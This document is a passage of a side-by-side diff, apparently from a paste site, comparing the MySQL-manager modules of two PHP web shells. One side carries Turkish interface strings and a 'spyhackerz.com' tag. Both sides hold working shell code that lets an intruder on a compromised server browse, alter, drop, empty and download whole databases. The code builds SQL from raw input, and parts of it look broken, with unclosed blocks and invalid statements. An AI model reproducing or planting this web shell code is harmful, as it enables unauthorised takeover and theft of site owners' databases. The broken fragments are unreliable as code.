2086 | - | p('<form method="post" action="'.$self.'">'); |
2086 | + | $diplay = true; |
2087 | ||
2088 | - | p($dbform); |
2088 | + | if ($sql_db) |
2089 | ||
2090 | - | makehide('action','mysqladmin'); |
2090 | + | { |
2091 | ||
2092 | - | makehide('tablename',$tablename); |
2092 | + | if (!is_numeric($c)) {$c = 0;} |
2093 | ||
2094 | - | p('<table border="0" cellpadding="3" cellspacing="0">'); |
2094 | + | if ($c == 0) {$c = "no";} |
2095 | ||
2096 | - | foreach ($rowdb as $row) { |
2096 | + | echo "<hr size=\"1\" noshade><center><b>Bu Databasede ".$c." table(s) Tablo var! (".htmlspecialchars($sql_db).").<br>"; |
2097 | ||
2098 | - | if ($rs[$row['Field']]) { |
2098 | + | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} |
2099 | ||
2100 | - | $value = htmlspecialchars($rs[$row['Field']]); |
2100 | + | echo "</b></center>"; |
2101 | ||
2102 | - | } else { |
2102 | + | $acts = array("","dump"); |
2103 | ||
2104 | - | $value = ''; |
2104 | + | if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
2105 | ||
2106 | - | } |
2106 | + | elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} |
2107 | ||
2108 | - | $thisbg = bg(); |
2108 | + | elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} |
2109 | ||
2110 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
2110 | + | elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
2111 | ||
2112 | - | if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') { |
2112 | + | elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
2113 | ||
2114 | - | p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>'); |
2114 | + | elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
2115 | ||
2116 | - | } else { |
2116 | + | elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
2117 | ||
2118 | - | p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>'); |
2118 | + | elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} |
2119 | ||
2120 | - | } |
2120 | + | elseif ($sql_tbl_act == "insert") |
2121 | ||
2122 | - | } |
2122 | + | { |
2123 | ||
2124 | - | if ($doing == 'insert') { |
2124 | + | if ($sql_tbl_insert_radio == 1) |
2125 | ||
2126 | - | p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>'); |
2126 | + | { |
2127 | ||
2128 | - | } else { |
2128 | + | $keys = ""; |
2129 | ||
2130 | - | p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>'); |
2130 | + | $akeys = array_keys($sql_tbl_insert); |
2131 | ||
2132 | - | makehide('base64', $base64); |
2132 | + | foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} |
2133 | ||
2134 | - | } |
2134 | + | if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} |
2135 | ||
2136 | - | p('</table></form>'); |
2136 | + | $values = ""; |
2137 | ||
2138 | - | } else { |
2138 | + | $i = 0; |
2139 | ||
2140 | - | $querys = @explode(';',$sql_query); |
2140 | + | foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} |
2141 | ||
2142 | - | foreach($querys as $num=>$query) { |
2142 | + | if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} |
2143 | ||
2144 | - | if ($query) { |
2144 | + | $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; |
2145 | ||
2146 | - | p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>"); |
2146 | + | $sql_act = "query"; |
2147 | ||
2148 | - | switch(qy($query)) |
2148 | + | $sql_tbl_act = "browse"; |
2149 | ||
2150 | - | { |
2150 | + | |
2151 | ||
2152 | - | case 0: |
2152 | + | elseif ($sql_tbl_insert_radio == 2) |
2153 | ||
2154 | - | p('<h2>Error : '.mysql_error().'</h2>'); |
2154 | + | { |
2155 | ||
2156 | - | break; |
2156 | + | $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); |
2157 | ||
2158 | - | case 1: |
2158 | + | $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; |
2159 | ||
2160 | - | if (strtolower(substr($query,0,13)) == 'select * from') { |
2160 | + | $result = mysql_query($sql_query) or print(mysql_smarterror()); |
2161 | ||
2162 | - | $allowedit = 1; |
2162 | + | $result = mysql_fetch_array($result, MYSQL_ASSOC); |
2163 | ||
2164 | - | } |
2164 | + | $sql_act = "query"; |
2165 | ||
2166 | - | if ($getnumsql) { |
2166 | + | $sql_tbl_act = "browse"; |
2167 | ||
2168 | - | $tatol = mysql_num_rows(q($getnumsql)); |
2168 | + | |
2169 | ||
2170 | - | $multipage = multi($tatol, $pagenum, $page, $tablename); |
2170 | + | } |
2171 | ||
2172 | - | } |
2172 | + | if ($sql_act == "query") |
2173 | ||
2174 | - | if (!$tablename) { |
2174 | + | { |
2175 | ||
2176 | - | $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); |
2176 | + | echo "<hr size=\"1\" noshade>"; |
2177 | ||
2178 | - | $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); |
2178 | + | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
2179 | ||
2180 | - | preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); |
2180 | + | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
2181 | ||
2182 | - | $tablename = $matches[1][0]; |
2182 | + | if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Gercekden istionmu Kardes:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Evet\"> <input type=\"submit\" value=\"Hayir\"></form></td></tr></table>";} |
2183 | ||
2184 | - | } |
2184 | + | } |
2185 | ||
2186 | if (in_array($sql_act,$acts)) | |
2187 | ||
2188 | - | /*********************/ |
2188 | + | { |
2189 | ||
2190 | - | $getfield = q("SHOW COLUMNS FROM $tablename"); |
2190 | + | ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Yeni Tablo olustur:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php |
2191 | ||
2192 | - | $rowdb = array(); |
2192 | + | if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} |
2193 | ||
2194 | - | $keyfied = ''; //???? |
2194 | + | if ($sql_act == "newtbl") |
2195 | ||
2196 | - | while($row = @mysql_fetch_assoc($getfield)) { |
2196 | + | { |
2197 | ||
2198 | - | $rowdb[$row['Field']]['Key'] = $row['Key']; |
2198 | + | echo "<b>"; |
2199 | ||
2200 | - | $rowdb[$row['Field']]['Extra'] = $row['Extra']; |
2200 | + | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo " \"".htmlspecialchars($sql_newdb)."\" Yeni database olusturuldu!</b><br>"; |
2201 | ||
2202 | - | if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') { |
2202 | + | |
2203 | ||
2204 | - | $keyfied = $row['Field']; |
2204 | + | else {echo "Database Olusturulamadi \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} |
2205 | ||
2206 | - | } |
2206 | + | } |
2207 | ||
2208 | - | } |
2208 | + | elseif ($sql_act == "dump") |
2209 | ||
2210 | - | /*********************/ |
2210 | + | { |
2211 | ||
2212 | - | //????????????? |
2212 | + | if (empty($submit)) |
2213 | ||
2214 | - | if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') { |
2214 | + | { |
2215 | ||
2216 | - | $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query); |
2216 | + | $diplay = false; |
2217 | ||
2218 | - | } |
2218 | + | echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; |
2219 | ||
2220 | echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; | |
2221 | ||
2222 | - | $result = q($query); |
2222 | + | $v = join (";",$dmptbls); |
2223 | ||
2224 | echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; | |
2225 | ||
2226 | - | p($multipage); |
2226 | + | if ($dump_file) {$tmp = $dump_file;} |
2227 | ||
2228 | - | p('<table border="0" cellpadding="3" cellspacing="0">'); |
2228 | + | else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} |
2229 | ||
2230 | - | p('<tr class="head">'); |
2230 | + | echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; |
2231 | ||
2232 | - | if ($allowedit) p('<td>Action</td>'); |
2232 | + | echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; |
2233 | ||
2234 | - | $fieldnum = @mysql_num_fields($result); |
2234 | + | echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; |
2235 | ||
2236 | - | for($i=0;$i<$fieldnum;$i++){ |
2236 | + | echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; |
2237 | ||
2238 | - | $name = @mysql_field_name($result, $i); |
2238 | + | echo "</form>"; |
2239 | ||
2240 | - | $type = @mysql_field_type($result, $i); |
2240 | + | |
2241 | ||
2242 | - | $len = @mysql_field_len($result, $i); |
2242 | + | else |
2243 | ||
2244 | - | p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>"); |
2244 | + | { |
2245 | ||
2246 | - | } |
2246 | + | $diplay = true; |
2247 | ||
2248 | - | p('</tr>'); |
2248 | + | $set = array(); |
2249 | ||
2250 | - | |
2250 | + | $set["sock"] = $sql_sock; |
2251 | ||
2252 | - | while($mn = @mysql_fetch_assoc($result)){ |
2252 | + | $set["db"] = $sql_db; |
2253 | ||
2254 | - | $thisbg = bg(); |
2254 | + | $dump_out = "download"; |
2255 | ||
2256 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
2256 | + | $set["print"] = 0; |
2257 | ||
2258 | - | $where = $tmp = $b1 = ''; |
2258 | + | $set["nl2br"] = 0; |
2259 | ||
2260 | - | //??????? |
2260 | + | $set[""] = 0; |
2261 | ||
2262 | - | foreach($mn as $key=>$inside){ |
2262 | + | $set["file"] = $dump_file; |
2263 | ||
2264 | - | if ($inside) { |
2264 | + | $set["add_drop"] = true; |
2265 | ||
2266 | - | //?????????????????,?????,????????????? |
2266 | + | $set["onlytabs"] = array(); |
2267 | ||
2268 | - | if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') { |
2268 | + | if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} |
2269 | ||
2270 | - | $where = $key."='".addslashes($inside)."'"; |
2270 | + | $ret = mysql_dump($set); |
2271 | ||
2272 | - | break; |
2272 | + | if ($sql_dump_download) |
2273 | ||
2274 | - | } |
2274 | + | { |
2275 | ||
2276 | - | $where .= $tmp.$key."='".addslashes($inside)."'"; |
2276 | + | @ob_clean(); |
2277 | ||
2278 | - | $tmp = ' AND '; |
2278 | + | header("Content-type: application/octet-stream"); |
2279 | ||
2280 | - | } |
2280 | + | header("Content-length: ".strlen($ret)); |
2281 | ||
2282 | - | } |
2282 | + | header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); |
2283 | ||
2284 | - | //????? |
2284 | + | echo $ret; |
2285 | ||
2286 | - | foreach($mn as $key=>$inside){ |
2286 | + | exit; |
2287 | ||
2288 | - | $b1 .= '<td nowrap>'.html_clean($inside).' </td>'; |
2288 | + | } |
2289 | ||
2290 | - | } |
2290 | + | elseif ($sql_dump_savetofile) |
2291 | ||
2292 | - | $where = base64_encode($where); |
2292 | + | { |
2293 | ||
2294 | $fp = fopen($sql_dump_file,"w"); | |
2295 | ||
2296 | - | if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>'); |
2296 | + | if (!$fp) {echo "<b>Dump hatasi OLusturulamadi \"".htmlspecialchars($sql_dump_file)."\"!";} |
2297 | ||
2298 | else | |
2299 | ||
2300 | - | p($b1); |
2300 | + | { |
2301 | ||
2302 | - | p('</tr>'); |
2302 | + | fwrite($fp,$ret); |
2303 | ||
2304 | - | unset($b1); |
2304 | + | fclose($fp); |
2305 | ||
2306 | - | } |
2306 | + | echo "<b>Dumped(Dokuldu)! Dump Yazildi \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; |
2307 | ||
2308 | - | p('<tr class="head">'); |
2308 | + | } |
2309 | ||
2310 | - | if ($allowedit) p('<td>Action</td>'); |
2310 | + | } |
2311 | ||
2312 | - | $fieldnum = @mysql_num_fields($result); |
2312 | + | else {echo "<b>Dump: hicbirsey yapilamadi!</b>";} |
2313 | ||
2314 | - | for($i=0;$i<$fieldnum;$i++){ |
2314 | + | |
2315 | ||
2316 | - | $name = @mysql_field_name($result, $i); |
2316 | + | } |
2317 | ||
2318 | - | $type = @mysql_field_type($result, $i); |
2318 | + | if ($diplay) |
2319 | ||
2320 | - | $len = @mysql_field_len($result, $i); |
2320 | + | { |
2321 | ||
2322 | - | p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>"); |
2322 | + | if (!empty($sql_tbl)) |
2323 | ||
2324 | - | } |
2324 | + | { |
2325 | ||
2326 | - | p('</tr>'); |
2326 | + | if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} |
2327 | ||
2328 | - | tbfoot(); |
2328 | + | $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); |
2329 | ||
2330 | - | p($multipage); |
2330 | + | $count_row = mysql_fetch_array($count); |
2331 | ||
2332 | - | break; |
2332 | + | mysql_free_result($count); |
2333 | ||
2334 | - | case 2: |
2334 | + | $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); |
2335 | ||
2336 | - | $ar = mysql_affected_rows(); |
2336 | + | $tbl_struct_fields = array(); |
2337 | ||
2338 | - | p('<h2>affected rows : <b>'.$ar.'</b></h2>'); |
2338 | + | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} |
2339 | ||
2340 | - | break; |
2340 | + | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} |
2341 | ||
2342 | - | } |
2342 | + | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} |
2343 | ||
2344 | - | } |
2344 | + | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} |
2345 | ||
2346 | - | } |
2346 | + | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} |
2347 | ||
2348 | - | } |
2348 | + | $perpage = $sql_tbl_le - $sql_tbl_ls; |
2349 | ||
2350 | - | } else { |
2350 | + | if (!is_numeric($perpage)) {$perpage = 10;} |
2351 | ||
2352 | - | $query = q("SHOW TABLE STATUS"); |
2352 | + | $numpages = $count_row[0]/$perpage; |
2353 | ||
2354 | - | $table_num = $table_rows = $data_size = 0; |
2354 | + | $e = explode(" ",$sql_order); |
2355 | ||
2356 | - | $tabledb = array(); |
2356 | + | if (count($e) == 2) |
2357 | ||
2358 | - | while($table = mysql_fetch_array($query)) { |
2358 | + | { |
2359 | ||
2360 | - | $data_size = $data_size + $table['Data_length']; |
2360 | + | if ($e[0] == "d") {$asc_desc = "DESC";} |
2361 | ||
2362 | - | $table_rows = $table_rows + $table['Rows']; |
2362 | + | else {$asc_desc = "ASC";} |
2363 | ||
2364 | - | $table['Data_length'] = sizecount($table['Data_length']); |
2364 | + | $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; |
2365 | ||
2366 | - | $table_num++; |
2366 | + | } |
2367 | ||
2368 | - | $tabledb[] = $table; |
2368 | + | else {$v = "";} |
2369 | ||
2370 | - | } |
2370 | + | $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; |
2371 | ||
2372 | - | $data_size = sizecount($data_size); |
2372 | + | $result = mysql_query($query) or print(mysql_smarterror()); |
2373 | ||
2374 | - | unset($table); |
2374 | + | echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; |
2375 | ||
2376 | - | p('<table border="0" cellpadding="0" cellspacing="0">'); |
2376 | + | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> "; |
2377 | ||
2378 | - | p('<form action="'.$self.'" method="POST">'); |
2378 | + | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> "; |
2379 | ||
2380 | - | makehide('action','mysqladmin'); |
2380 | + | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> "; |
2381 | ||
2382 | - | p($dbform); |
2382 | + | echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> "; |
2383 | ||
2384 | - | p('<tr class="head">'); |
2384 | + | if ($sql_tbl_act == "structure") {echo "<br><br><b>spyhackerz.com </b>";} |
2385 | ||
2386 | - | p('<td width="2%" align="center"> </td>'); |
2386 | + | if ($sql_tbl_act == "insert") |
2387 | ||
2388 | - | p('<td>Name</td>'); |
2388 | + | { |
2389 | ||
2390 | - | p('<td>Rows</td>'); |
2390 | + | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} |
2391 | ||
2392 | - | p('<td>Data_length</td>'); |
2392 | + | if (!empty($sql_tbl_insert_radio)) |
2393 | ||
2394 | - | p('<td>Create_time</td>'); |
2394 | + | { |
2395 | ||
2396 | - | p('<td>Update_time</td>'); |
2396 | + | |
2397 | ||
2398 | - | if ($highver) { |
2398 | + | } |
2399 | ||
2400 | - | p('<td>Engine</td>'); |
2400 | + | else |
2401 | ||
2402 | - | p('<td>Collation</td>'); |
2402 | + | { |
2403 | ||
2404 | - | } |
2404 | + | echo "<br><br><b>Row u tabloya sok :</b><br>"; |
2405 | ||
2406 | - | p('<td>Operate</td>'); |
2406 | + | if (!empty($sql_tbl_insert_q)) |
2407 | ||
2408 | - | p('</tr>'); |
2408 | + | { |
2409 | ||
2410 | - | foreach ($tabledb as $key => $table) { |
2410 | + | $sql_query = "SELECT * FROM `".$sql_tbl."`"; |
2411 | ||
2412 | - | $thisbg = bg(); |
2412 | + | $sql_query .= " WHERE".$sql_tbl_insert_q; |
2413 | ||
2414 | - | p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">'); |
2414 | + | $sql_query .= " LIMIT 1;"; |
2415 | ||
2416 | - | p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>'); |
2416 | + | $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); |
2417 | ||
2418 | - | p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>'); |
2418 | + | $values = mysql_fetch_assoc($result); |
2419 | ||
2420 | - | p('<td>'.$table['Rows'].'</td>'); |
2420 | + | mysql_free_result($result); |
2421 | ||
2422 | - | p('<td>'.$table['Data_length'].'</td>'); |
2422 | + | } |
2423 | ||
2424 | - | p('<td>'.$table['Create_time'].' </td>'); |
2424 | + | else {$values = array();} |
2425 | ||
2426 | - | p('<td>'.$table['Update_time'].' </td>'); |
2426 | + | echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Alan</b></td><td><b>Tip</b></td><td><b>Fonksiyon</b></td><td><b>Value</b></td></tr>"; |
2427 | ||
2428 | - | if ($highver) { |
2428 | + | foreach ($tbl_struct_fields as $field) |
2429 | ||
2430 | - | p('<td>'.$table['Engine'].'</td>'); |
2430 | + | { |
2431 | ||
2432 | - | p('<td>'.$table['Collation'].'</td>'); |
2432 | + | $name = $field["Alan"]; |
2433 | ||
2434 | - | } |
2434 | + | if (empty($sql_tbl_insert_q)) {$v = "";} |
2435 | ||
2436 | - | p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>'); |
2436 | + | echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Tip"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; |
2437 | ||
2438 | - | p('</tr>'); |
2438 | + | $i++; |
2439 | ||
2440 | - | } |
2440 | + | } |
2441 | ||
2442 | - | p('<tr class="head">'); |
2442 | + | echo "</table><br>"; |
2443 | ||
2444 | - | p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>'); |
2444 | + | echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Yeni ilave sok</b>"; |
2445 | ||
2446 | - | p('<td>Name</td>'); |
2446 | + | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} |
2447 | ||
2448 | - | p('<td>Rows</td>'); |
2448 | + | echo "<br><br><input type=\"submit\" value=\"Tamam\"></form>"; |
2449 | ||
2450 | - | p('<td>Data_length</td>'); |
2450 | + | } |
2451 | ||
2452 | - | p('<td>Create_time</td>'); |
2452 | + | } |
2453 | ||
2454 | - | p('<td>Update_time</td>'); |
2454 | + | if ($sql_tbl_act == "browse") |
2455 | ||
2456 | - | if ($highver) { |
2456 | + | { |
2457 | ||
2458 | - | p('<td>Engine</td>'); |
2458 | + | $sql_tbl_ls = abs($sql_tbl_ls); |
2459 | ||
2460 | - | p('<td>Collation</td>'); |
2460 | + | $sql_tbl_le = abs($sql_tbl_le); |
2461 | ||
2462 | - | } |
2462 | + | echo "<hr size=\"1\" noshade>"; |
2463 | ||
2464 | - | p('<td>Operate</td>'); |
2464 | + | echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Sayfalar\"> "; |
2465 | ||
2466 | - | p('</tr>'); |
2466 | + | $b = 0; |
2467 | ||
2468 | - | p('<tr class='.bg().'>'); |
2468 | + | for($i=0;$i<$numpages;$i++) |
2469 | ||
2470 | - | p('<td> </td>'); |
2470 | + | { |
2471 | ||
2472 | - | p('<td>Total tables: '.$table_num.'</td>'); |
2472 | + | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} |
2473 | ||
2474 | - | p('<td>'.$table_rows.'</td>'); |
2474 | + | echo $i; |
2475 | ||
2476 | - | p('<td>'.$data_size.'</td>'); |
